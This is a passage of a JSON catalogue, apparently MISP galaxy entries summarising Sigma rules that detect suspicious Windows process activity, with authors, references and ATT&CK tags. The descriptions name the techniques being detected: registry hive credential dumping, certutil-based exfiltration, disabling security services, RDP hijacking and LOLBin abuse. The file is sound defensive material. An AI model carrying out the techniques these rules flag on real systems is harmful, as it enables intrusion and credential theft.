"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "850d55f9-6eeb-4492-ad69-a72338f65ba4", "value": "Ilasm Lolbin Use Compile C-Sharp" }, { "description": "Detects execution of \"git\" in order to clone a remote repository that contain suspicious keywords which might be suspicious", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_git_clone.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_git_clone.yml" ], "tags": [ "attack.reconnaissance", "attack.t1593.003" ] }, "related": [ { "dest-uuid": "70910fbd-58dc-4c1c-8c48-814d11fcd022", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aef9d1f1-7396-4e92-a927-4567c7a495c1", "value": "Suspicious Git Clone" }, { "description": "Detects shell32.dll executing a DLL in a suspicious directory", "meta": { "author": "Christian Burkard", "creation_date": "2021/11/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_target_location_shell32.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.group-ib.com/resources/threat-research/red-curl-2.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_target_location_shell32.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "32b96012-7892-429e-b26c-ac2bf46066ff", "value": "Shell32 DLL Execution in Suspicious Directory" }, { "description": "Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads", "meta": { "author": "frack113", "creation_date": "2022/04/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_msiexec_embedding.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_embedding.yml" ], "tags": [ "attack.t1218.007", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4a2a2c3e-209f-4d01-b513-4155a540b469", "value": "Suspicious MsiExec Embedding Parent" }, { "description": "Detects a suspicious child process of userinit", "meta": { "author": "Florian Roth (rule), Samir Bousseaden (idea)", "creation_date": "2019/06/17", "falsepositive": [ "Administrative scripts" ], "filename": "proc_creation_win_susp_userinit_child.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1139811587760562176", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml" ], "tags": [ "attack.defense_evasion", "attack.t1055" ] }, "uuid": "b655a06a-31c0-477a-95c2-3726b83d649d", "value": "Suspicious Userinit Child Process" }, { "description": "Detects RDP Session Hijacking on Windows systems", "meta": { "author": "@juju4", "creation_date": "2022/12/27", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_rdp_session_hijacking.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Moti_B/status/909449115477659651", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdp_session_hijacking.yml" ], "tags": [ "attack.execution" ] }, "uuid": "224f140f-3553-4cd1-af78-13d81bf9f7cc", "value": "Potential RDP Session Hijacking Activity" }, { "description": "Detects suspicious Plink tunnel port forwarding to a local port", "meta": { "author": "Florian Roth", "creation_date": "2021/01/19", "falsepositive": [ "Administrative activity using a remote port forwarding to a local port" ], "filename": "proc_creation_win_susp_plink_port_forward.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/", "https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_port_forward.yml" ], "tags": [ "attack.command_and_control", "attack.t1572", "attack.lateral_movement", "attack.t1021.001" ] }, "related": [ { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "48a61b29-389f-4032-b317-b30de6b95314", "value": "Suspicious Plink Port Forwarding" }, { "description": "Detects a suspicious reg.exe invocation that looks as if it would disable an important security service", "meta": { "author": "Florian Roth, John Lambert (idea), elhoim", "creation_date": "2021/07/14", "falsepositive": [ "Unknown", "Other security solution installers" ], "filename": "proc_creation_win_susp_reg_disable_sec_services.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", "https://vms.drweb.fr/virus/?i=24144899", "https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1", "https://twitter.com/JohnLaTwC/status/1415295021041979392", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_disable_sec_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "5e95028c-5229-4214-afae-d653d573d0ec", "value": "Reg Disable Security Service" }, { "description": "Detects suspicious a certutil command that used to encode files, which is sometimes used for data exfiltration", "meta": { "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", "creation_date": "2019/02/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_certutil_encode.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_encode.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027" ] }, "uuid": "e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a", "value": "Certutil Encode" }, { "description": "Detects suspicious command line using the \"mshtml.dll\" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, htpp...)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/14", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_mshtml_runhtmlapplication.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/n1nj4sec/status/1421190238081277959", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshtml_runhtmlapplication.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "4782eb5a-a513-4523-a0ac-f3082b26ac5c", "value": "Mshtml DLL RunHTMLApplication Abuse" }, { "description": "Detects Too long PowerShell command lines", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_long_powershell_commandline.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_long_powershell_commandline.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d0d28567-4b9a-45e2-8bbc-fb1b66a1f7f6", "value": "Too Long PowerShell Commandlines" }, { "description": "Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_remote_file_download_desktopimgdownldr.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/remote-file-download-via-desktopimgdownldr-utility.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_file_download_desktopimgdownldr.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "214641c2-c579-4ecb-8427-0cf19df6842e", "value": "Remote File Download via Desktopimgdownldr Utility" }, { "description": "Checks whether the image specified in a process creation event doesn't refer to an .exe file (caused by process ghosting or other unorthodox methods to start a process)", "meta": { "author": "Max Altgelt", "creation_date": "2021/12/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_non_exe_image.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://pentestlaboratories.com/2021/12/08/process-ghosting/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_non_exe_image.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "c09dad97-1c78-4f71-b127-7edb2b8e491a", "value": "Execution of Suspicious File Type Extension" }, { "description": "Detects Credential Acquisition via Registry Hive Dumping", "meta": { "author": "Tim Rauch", "creation_date": "2022/10/04", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_credential_acquisition_registry_hive_dumping.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/credential-acquisition-via-registry-hive-dumping.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_acquisition_registry_hive_dumping.yml" ], "tags": [ "attack.credential_access", "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4d6c9da1-318b-4edf-bcea-b6c93fa98fd0", "value": "Credential Acquisition via Registry Hive Dumping" }, { "description": "Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter", "meta": { "author": "bohops", "creation_date": "2022/10/30", "falsepositive": [ "False positives depend on custom use of vsls-agent.exe" ], "filename": "proc_creation_win_susp_vslsagent_agentextensionpath_load.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/bohops/status/1583916360404729857", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vslsagent_agentextensionpath_load.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "43103702-5886-11ed-9b6a-0242ac120002", "value": "Suspicious Vsls-Agent Command With AgentExtensionPath Load" }, { "description": "Detects WMI SquiblyTwo Attack with possible renamed WMI by looking for imphash", "meta": { "author": "Markus Neis, Florian Roth", "creation_date": "2019/01/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_bypass_squiblytwo.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mattifestation/status/986280382042595328", "https://subt0x11.blogspot.ch/2018/04/wmicexe-whitelisting-bypass-hacking.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bypass_squiblytwo.yml" ], "tags": [ "attack.defense_evasion", "attack.t1047", "attack.t1220", "attack.execution", "attack.t1059.005", "attack.t1059.007" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8d63dadf-b91b-4187-87b6-34a1114577ea", "value": "SquiblyTwo Execution" }, { "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", "meta": { "author": "frack113", "creation_date": "2021/07/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_automated_collection.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_automated_collection.yml" ], "tags": [ "attack.collection", "attack.t1119", "attack.credential_access", "attack.t1552.001" ] }, "related": [ { "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f576a613-2392-4067-9d1a-9345fb58d8d1", "value": "Automated Collection Command Prompt" }, { "description": "Detect use of DirLister.exe", "meta": { "author": "frack113", "creation_date": "2022/08/20", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_dirlister.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "b4dc61f5-6cce-468e-a608-b48b469feaa2", "value": "Launch DirLister Executable" }, { "description": "Use of the commandline to shutdown or reboot windows", "meta": { "author": "frack113", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_shutdown.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shutdown.yml" ], "tags": [ "attack.impact", "attack.t1529" ] }, "related": [ { "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "34ebb878-1b15-4895-b352-ca2eeb99b274", "value": "Suspicious Execution of Shutdown" }, { "description": "Detects a suspicious program execution in Outlook temp folder", "meta": { "author": "Florian Roth", "creation_date": "2019/10/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_outlook_temp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook_temp.yml" ], "tags": [ "attack.initial_access", "attack.t1566.001" ] }, "uuid": "a018fdc3-46a3-44e5-9afb-2cd4af1d4b39", "value": "Execution in Outlook Temp Folder" }, { "description": "Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378", "meta": { "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", "creation_date": "2019/11/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_exploit_cve_2019_1378.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1378.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068", "attack.execution", "attack.t1059.003", "attack.t1574", "cve.2019.1378" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1c373b6d-76ce-4553-997d-8c1da9a6b5f5", "value": "Exploiting SetupComplete.cmd CVE-2019-1378" }, { "description": "Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces\nAdversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe\n", "meta": { "author": "Agro (@agro_sev) oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "It's not an uncommon to use te.exe directly to execute legal TAEF tests" ], "filename": "proc_creation_win_susp_use_of_te_bin.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/", "https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/", "https://twitter.com/pabraeken/status/993298228840992768", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml" ], "tags": [ "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "634b00d5-ccc3-4a06-ae3b-0ec8444dd51b", "value": "Malicious Windows Script Components File Execution by TAEF Detection" }, { "description": "Detects the execution of rundll32 with a command line that doesn't contain a .dll file", "meta": { "author": "Tim Shelton, Florian Roth, Yassine Oukessou (fix + fp)", "creation_date": "2022/01/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_run_executable_invalid_extension.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1481630810495139841?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_executable_invalid_extension.yml" ], "tags": "No established tags" }, "uuid": "c3a99af4-35a9-4668-879e-c09aeb4f2bdf", "value": "Rundll32 Execution Without DLL File" }, { "description": "Detects use of chcp to look up the system locale value as part of host discovery", "meta": { "author": "_pete_0, TheDFIRReport", "creation_date": "2022/02/21", "falsepositive": [ "During Anaconda update the 'conda.exe' process will eventually launch the command described in the detection section" ], "filename": "proc_creation_win_susp_codepage_lookup.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp", "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_lookup.yml" ], "tags": [ "attack.discovery", "attack.t1614.001" ] }, "related": [ { "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7090adee-82e2-4269-bd59-80691e7c6338", "value": "CHCP CodePage Locale Lookup" }, { "description": "This rule will monitor LOLBin process creations by wmiprvse. Add more LOLBins to rule logic if needed.", "meta": { "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbins_with_wmiprvse_parent_process.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_with_wmiprvse_parent_process.yml" ], "tags": [ "attack.t1204.002", "attack.t1047", "attack.t1218.010", "attack.execution", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8a582fe2-0882-4b89-a82a-da6b2dc32937", "value": "Lolbins Process Creation with WmiPrvse" }, { "description": "Detects actions caused by the RedMimicry Winnti playbook", "meta": { "author": "Alexander Rausch", "creation_date": "2020/06/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_redmimicry_winnti_proc.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redmimicry.com", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_redmimicry_winnti_proc.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1106", "attack.t1059.003", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "95022b85-ff2a-49fa-939a-d7b8f56eeb9b", "value": "RedMimicry Winnti Playbook Execute" }, { "description": "Adversaries may modify system firewalls in order to bypass controls limiting network usage", "meta": { "author": "frack113", "creation_date": "2022/01/09", "falsepositive": [ "Legitimate administration" ], "filename": "proc_creation_win_netsh_fw_enable_group_rule.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-3---allow-smb-and-rdp-on-microsoft-defender-firewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "347906f3-e207-4d18-ae5b-a9403d6bcdef", "value": "Netsh Allow Group Policy on Microsoft Defender Firewall" }, { "description": "Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries,\nwhich is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from \"svchost\"\n", "meta": { "author": "Florian Roth, Nasreddine Bencherchali, @gott_cyber", "creation_date": "2019/06/29", "falsepositive": [ "Unknown how many legitimate software products use that method" ], "filename": "proc_creation_win_susp_explorer_break_proctree.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/bohops/status/1276357235954909188?s=12", "https://twitter.com/CyberRaiju/status/1273597319322058752", "https://twitter.com/nas_bench/status/1535322450858233858", "https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer_break_proctree.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036" ] }, "uuid": "949f1ffb-6e85-4f00-ae1e-c3c5b190d605", "value": "Explorer Process Tree Break" }, { "description": "Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy \"Bypass\" or any binary named \"powershell.exe\" located in the path provided by 6th postiional argument", "meta": { "author": "Nasreddine Bencherchali, memory-shards", "creation_date": "2022/12/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_agentexecutor_susp_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/jseerden/status/1247985304667066373/photo/1", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/", "https://docs.microsoft.com/en-us/mem/intune/apps/intune-management-extension", "https://twitter.com/lefterispan/status/1286259016436514816", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor_susp_usage.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c0b40568-b1e9-4b03-8d6c-b096da6da9ab", "value": "Suspicious AgentExecutor PowerShell Execution" }, { "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. Rule detects when adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.", "Msxsl.exe is not installed by default, so unlikely.", "Static format arguments - https://petri.com/command-line-wmi-part-3" ], "filename": "proc_creation_win_xsl_script_processing.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xsl_script_processing.yml" ], "tags": [ "attack.defense_evasion", "attack.t1220" ] }, "related": [ { "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "05c36dd6-79d6-4a9a-97da-3db20298ab2d", "value": "XSL Script Processing" }, { "description": "Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.", "meta": { "author": "frack113", "creation_date": "2022/05/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_pubprn.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Scripts/Pubprn/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216.001" ] }, "related": [ { "dest-uuid": "09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1fb76ab8-fa60-4b01-bddd-71e89bf555da", "value": "Pubprn.vbs Proxy Execution" }, { "description": "Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_imaging_devices_unusual_parents.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imaging_devices_unusual_parents.yml" ], "tags": [ "attack.defense_evasion", "attack.execution" ] }, "uuid": "f11f2808-adb4-46c0-802a-8660db50fa99", "value": "ImagingDevices Unusual Parent/Child Processes" }, { "description": "Execute commands and binaries from the context of \"forfiles\". This is used as a LOLBIN for example to bypass application whitelisting.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/14", "falsepositive": [ "Legitimate use via a batch script or by an administrator." ], "filename": "proc_creation_win_lolbin_forfiles.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://pentestlab.blog/2020/07/06/indirect-command-execution/", "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": 